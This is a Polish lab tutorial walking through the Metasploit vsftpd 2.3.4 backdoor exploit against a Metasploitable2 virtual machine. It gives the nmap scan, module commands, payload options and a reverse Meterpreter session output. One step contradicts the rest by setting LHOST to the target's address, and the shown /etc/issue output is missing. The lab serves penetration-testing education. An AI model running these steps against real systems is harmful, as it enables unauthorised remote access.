Wykorzystanie pierwszego exploita

Nim przejdziemy dalej, musimy poznać czym tak naprawdę jest exploit. Otóż najprościej wytłumaczyć go można jako luka w programie lub systemie/dystrybucji, którą można wykorzystać, aby uzyskać dostęp do urządzenia. Łatwiej jest mi używać terminu exploit niż luka w oprogramowaniu, dlatego w tym jak i kolejnych artykułach na temat tego narzędzia pozostanę przy tej nazwie.

Wszelkie testy będziemy przeprowadzali w sieci NAT, którą stworzyć musimy w VirtualBoxie. Naszym celem będzie dystrybucja Metasploitable2. Dlatego jeśli masz uruchomiony tylko Kali Linux, to nadeszła pora na uruchomienie Metasploitable2.
 

Nmap wykrywanie uruchomionego oprogramowania

Narzędziu nmap poświęciłem bardzo dużo czasu w swojej książce „Etyczny hacking i testy penetracyjne. Zadbaj o bezpieczeństwo sieci LAN i WLAN”, dlatego teraz bez większego rozpisywania się wyświetlmy wszystkie uruchomione serwisy w Metasploitable2:

nmap 10.0.2.20 -sV

Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-10 12:00 -0400

Nmap scan report for 10.0.2.20

Host is up (0.010s latency).

Not shown: 977 closed tcp ports (reset)

PORT     STATE SERVICE     VERSION

21/tcp   open  ftp         vsftpd 2.3.4

22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

23/tcp   open  telnet      Linux telnetd

25/tcp   open  smtp        Postfix smtpd

53/tcp   open  domain      ISC BIND 9.4.2

80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp  open  rpcbind     2 (RPC #100000)

139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

512/tcp  open  exec        netkit-rsh rexecd

513/tcp  open  login       OpenBSD or Solaris rlogind

514/tcp  open  tcpwrapped

1099/tcp open  java-rmi    GNU Classpath grmiregistry

1524/tcp open  bindshell   Metasploitable root shell

2049/tcp open  nfs         2-4 (RPC #100003)

2121/tcp open  ftp         ProFTPD 1.3.1

3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5

5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open  vnc         VNC (protocol 3.3)

6000/tcp open  X11         (access denied)

6667/tcp open  irc         UnrealIRCd

8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)

8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 08:00:27:C1:10:EE (Oracle VirtualBox virtual NIC)

Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

 

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 12.83 seconds
 

Jako wynik powinieneś otrzymać taką samą lub podobną listę. W ramach wyjaśnień, 10.0.2.20 jest to adres ip, jaki został przypisany do mojej maszyny wirtualnej Metasploitable2. Jeżeli u Ciebie VirtualBox przypisał lub Ty przypisałeś inny adres IP, to po nazwie nmap wpisz właściwy. Inaczej otrzymasz informację, że urządzenie jest wyłączone.
 

Teraz postaram się po kolei opisać, co należy zrobić, gdy otrzymamy poprawny wynik. Spójrzmy na część wyniku jaki otrzymaliśmy:

PORT     STATE SERVICE     VERSION

21/tcp   open  ftp         vsftpd 2.3.4
 

Z listy pierwszym wykrytym serwisem jest vsftpd 2.3.4. Co ważne w tym wypadku pojawia się również wersja jaka jest uruchomiona. Mając już taką ilość informacji, co możemy z nim dalej zrobić ? Otóż najprościej, uruchom przeglądarkę i wpisz w wyszukiwarce exploit vsftpd 2.3.4. Pierwszą, lub jedną z pierwszych stron, jaka powinna się pojawić jest:

https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
 

Tutaj chcę wspomnieć, że rapid7 jest to firma, która stworzyła Metasploit, dlatego rozwiązanie z ich strony powinno być sprawdzane w pierwszej kolejności.
 

Wczytując się w informację na stronie dowiadujemy się, kiedy exploit został wykryty, kto go wykrył i w jaki sposób możemy go wykorzystać. Spójrzmy na sam dół strony, znajduje się tam instrukcja krok po kroku, w jaki sposób należy skorzystać z luki.
 

    msf > use exploit/unix/ftp/vsftpd_234_backdoor

    msf exploit(vsftpd_234_backdoor) > show targets

        ...targets...

    msf exploit(vsftpd_234_backdoor) > set TARGET < target-id >

    msf exploit(vsftpd_234_backdoor) > show options

        ...show and set options...

    msf exploit(vsftpd_234_backdoor) > exploit
 

Jeżeli chcesz, sam spróbuj wykorzystać tego exploita bez pomocy czytanego materiału. Szczerze do tego zachęcam. Najwięcej uczymy się próbując sami! Natomiast jeśli napotkałeś jakiekolwiek problemy, czytaj dalej. Wiedz jednak, że wtedy to już będzie pewnego rodzaju spoiler.
 

Aby jakiegokolwiek exploit wykorzystać, należy na samym początku odnaleźć go w programie metasploit i odpowiednio skonfigurować. Nie powinno nas to dziwić. Przecież uruchamiamy na przykład grę, w której możemy ustawić różne opcje, dostosowując rozgrywkę do własnych predyspozycji. W pewnym sensie tutaj jest tak samo. Dlatego aby móc cokolwiek ustawić, musimy najpierw wskazać metasploitowi exploita, dzięki czemu będziemy mogli dokonać niezbędnej konfiguracji. W przypadku opisywanego wystarczy, że wpiszemy polecenie w następujący sposób w programie:

use exploit/unix/ftp/vsftpd_234_backdoor
 

Otrzymasz w zamian informację:

[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp

msf exploit(unix/ftp/vsftpd_234_backdoor) >
 

Na razie nie zastanawiaj się nad pierwszą linią. Wyjaśnię payloady w późniejszym czasie. Teraz chciałbym, abyś zwrócił uwagę na sam sposób zapisu. Po nazwie msf6, która jest skrótową nazwą programu, znajduje się nazwa exploita, którego użyliśmy. W ten sposób metasploit określa, że dany exploit może zostać skonfigurowany.
 

Wiesz już, że musisz go skonfigurować, ale nasuwa się pytanie, jak to zrobić? Otóż listę dostępnych opcji możemy otrzymać przy pomocy polecenia:

show options

Otrzymasz następujące możliwości konfiguracji:

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

 

   Name    Current Setting  Required  Description

   ----    ---------------  --------  -----------

   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

   RPORT   21               yes       The target port (TCP)

 

 

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

 

   Name            Current Setting  Required  Description

   ----            ---------------  --------  -----------

   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)

   FETCH_DELETE    false            yes       Attempt to delete the binary after execution

   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zs

                                              h) (Accepted: none, python3.8+, shell-search, shell)

   FETCH_SRVHOST                    no        Local IP to use for serving payload

   FETCH_SRVPORT   8080             yes       Local port to use for serving payload

   FETCH_URIPATH                    no        Local URI to use for serving payload

   LHOST                            yes       The listen address (an interface may be specified)

   LPORT           4444             yes       The listen port

 

 

   When FETCH_COMMAND is one of CURL,GET,WGET:

 

   Name        Current Setting  Required  Description

   ----        ---------------  --------  -----------

   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.

 

 

   When FETCH_FILELESS is none:

 

   Name                Current Setting  Required  Description

   ----                ---------------  --------  -----------

   FETCH_FILENAME      LKyuzngenWL      no        Name to use on remote system when storing payload; cannot contain spaces or slashes

   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces

 

 

Exploit target:

 

   Id  Name

   --  ----

   0   Linux/Unix Command

View the full module info with the info, or info -d command.
 

Wyświetliła się lista opcji modułów. Teraz skupmy się na wyniku. W pierwszej tabeli mamy dwa wiersze. W pierwszym z nich znajduje się RHOSTS, w drugim RPORT. Zwróć uwagę, że po RPORT znajduje się już liczba 21. Metasploit uzupełnił automatycznie port, jaki powinien zostać użyty, aby wykorzystać wybranego exploita. Pomimo, że jest on raczej właściwy, zawsze warto sprawdzić, czy na pewno. Wróć teraz do miejsca, gdzie wykonywaliśmy skanowanie nmap i sprawdź, czy przy serwisie znajduje się port 21. Jeżeli jest inny, to musimy użyć polecenia:

set RPORT [PORT]
 

Oczywiście w miejsce [PORT] wpisujemy numer portu i wciskamy ENTER.
 

Po właściwym skonfigurowaniu portu przyszła pora na ustawienie IP urządzenia, na którym chcemy wykorzystać poznawany exploit. Jak już wspomniałem do mojej dystrybucji Metasploitable2 został przypisany adres ip 10.0.2.20, dlatego ustawiam tę opcję tak:

set RHOST 10.0.2.20
 

Teraz pozostaje sprawdzić, czy wszystko zostało prawidłowo ustawione. Robimy to poznanym wcześniej poleceniem:

show options
 

Tabela powinna prezentować się następująco:

Name    Current Setting  Required  Description

   ----    ---------------  --------  -----------

   RHOSTS  10.0.2.20        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

   RPORT   21               yes       The target port (TCP)Zgodnie z tym, co się wyświetliło, mamy wszystko ustawione właściwie.
 

Jeżeli samodzielnie będziesz ustawiał podobnego exploita, zwróć uwagę na kolumnę Required, czyli po polsku „wymagany”. Jeżeli w tej kolumnie masz wpisane yes ( czyli tak ), oznacza to, że opcja musi zostać ustawiona, aby exploit zadziałał.
 

Mamy ustawioną maszynę, która posiada zainstalowany exploit, teraz musimy ustawić adres IP maszyny z którą za pomocą tego exploita nawiąże połączenie. W tej sytuacji jest to Kali Linux. Adres IP Kali Linux z którego korzystam to 10.0.2.19. Natomiast wzmianka o tym, że jest brak tego ustawienia znajduje się w wyniku polecenia show options:

LHOST                            yes       The listen address (an interface may be specified)

LPORT           4444             yes       The listen port
 

Teraz pozostaje użyć poznanego polecenia, ale zamiast RHOST użyć LHOST:

set LHOST 10.0.2.20
 

Po wykonaniu tego ustawienia i upewnieniu się, że mamy wszystko właściwie ustawione, nie pozostaje nic innego, jak tylko uruchomić naszego exploita. Robimy to bardzo sensownym poleceniem:

exploit
 

Po wciśnięciu klawisza ENTER będziesz łączył się z urządzeniem wpisanym w RHOST. Jeżeli wszystko się uda, powinieneś otrzymać informację:

[*] Started reverse TCP handler on 10.0.2.19:4444

[+] 10.0.2.20:21 - Backdoor has been spawned!

[*] Meterpreter session 1 opened (10.0.2.19:4444 -> 10.0.2.20:48573) at 2026-05-10 12:30:48 -0400
 

I brawo! Właśnie uzyskałeś kontrolę nad systemem. Aby się o tym przekonać, wpisz polecenie:

cat /etc/issue
 

Służy ono do wyświetlania nazwy systemu, dlatego po jego wpisaniu powinieneś otrzymać informację:
 


Aby zakończyć połączenie z dystrybucją metasploitable2, należy wpisać exit.

Mam nadzieję, że cieszysz się tym tak, jak ja kiedyś. Właśnie udało Ci się uzyskać pełny dostęp do urządzenia. Znając właściwe polecenia w konsoli, jesteś w stanie zrobić z nim, co tylko zechcesz.
 

Podsumowanie

W tym artykule za zadanie postawiłem sobie wprowadzić Cię w obsługę programu Metasploit i mam nadzieję, że udało mi się to osiągnąć. Jak się niebawem przekonasz program ten jest jednym z najlepszych narzędzi do nauki szczególnie na samym początku. Niepoznanie jego funkcjonalności w tej dziedzinie to moim zdaniem grzech. Na pewno czujesz pewien niedosyt dlatego w następnym artykule zajmiemy się kolejnymi sposobami dostępu do urządzenia przy pomocy Metasploit.